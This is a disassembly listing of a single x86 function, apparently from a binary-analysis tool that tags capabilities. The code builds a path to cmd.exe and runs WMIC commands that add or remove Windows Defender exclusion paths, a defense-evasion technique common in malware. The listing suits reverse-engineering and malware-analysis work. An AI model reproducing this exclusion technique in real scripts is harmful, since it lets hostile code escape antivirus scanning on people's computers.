Function at 0x4028a1
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
call fcn.0041cce0
mov edx, dword [esp + 0x18]
lea ecx, [esp]
call fcn.0040a000
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cb70
pop edx
push eax
push 1
push dword [esp + 0xc]
call fcn.0041a7c0
call fcn.0041cda0
mov edx, 0x464608
pop ecx
push ecx
call fcn.0040a600
mov ecx, eax
call fcn.0040a5c0
je 0x402921
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cb70
pop edx
push eax
push dword [esp + 8]
call fcn.0041a760
mov ebx, eax
dec ebx
push ebx
push dword [esp + 0xc]
call fcn.0041a840
lea eax, [esp + 4]
push eax
call fcn.0041cbb0
call fcn.004100a2
mov ebx, eax
cmp ebx, 0x64
jl 0x402b2b
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cb70
pop edx
push eax
push 0x3e8
call fcn.0041a540
lea eax, [esp + 8]
push eax
call fcn.0041cbb0
push 0x3e8
mov eax, dword [esp + 8]
push eax
mov eax, str.WINDIR
push eax
call sub.KERNEL32.DLL_GetEnvironmentVariableW
mov edx, dword [esp + 4]
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cc40
mov edx, str.System32
push edx
call fcn.0041cc40
lea eax, [esp + 0xc]
push eax
call fcn.0041cbb0
push edx
call fcn.0041cb70
pop edx
push eax
mov edx, dword [esp + 8]
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cc40
mov edx, str.Sysnativecmd.exe
push edx
call fcn.0041cc40
call fcn.0040a592
add dword [esp], edx
call fcn.004116da
call fcn.0040a5b0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x4029dc
jl 0x4029d8
cmp ebx, 0
ja 0x4029dc
xor eax, eax
jmp 0x4029e1
mov eax, 1
or eax, eax
je 0x402a0e
mov edx, dword [esp + 4]
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cc40
mov edx, str.Sysnative
push edx
call fcn.0041cc40
lea eax, [esp + 8]
push eax
call fcn.0041cbb0
jmp 0x402a35
mov edx, dword [esp + 4]
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cc40
mov edx, str.System32
push edx
call fcn.0041cc40
lea eax, [esp + 8]
push eax
call fcn.0041cbb0
mov ebx, dword [esp + 0x1c]
and ebx, ebx
jle 0x402ab5
push edx
call fcn.0041cb70
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.0041cb70
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
push edx
call fcn.0041cc40
mov edx, dword [esp + 0x10]
push edx
call fcn.0041cc40
mov edx, 0x464270
push edx
call fcn.0041cc40
call fcn.0041cda0
mov edx, dword [esp + 0x14]
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cc40
mov edx, str.cmd.exe
push edx
call fcn.0041cc40
call fcn.0040a592
add dword [esp], edx
call fcn.0040a592
add dword [esp + 4], edx
call fcn.0040b2e0
call fcn.0040a5b0
jmp 0x402b2b
push edx
call fcn.0041cb70
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.0041cb70
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
push edx
call fcn.0041cc40
mov edx, dword [esp + 0x10]
push edx
call fcn.0041cc40
mov edx, 0x464270
push edx
call fcn.0041cc40
call fcn.0041cda0
mov edx, dword [esp + 0x14]
push edx
call fcn.0041cb70
pop edx
push eax
push edx
call fcn.0041cc40
mov edx, str.cmd.exe
push edx
call fcn.0041cc40
call fcn.0040a592
add dword [esp], edx
call fcn.0040a592
add dword [esp + 4], edx
call fcn.0040b2e0
call fcn.0040a5b0
xor eax, eax
push dword [esp + 8]
call fcn.0041cd70
push dword [esp + 4]
call fcn.0041cd70
push dword [esp]
call fcn.0041cd70
add esp, 0xc
pop edi
pop ebx
ret 8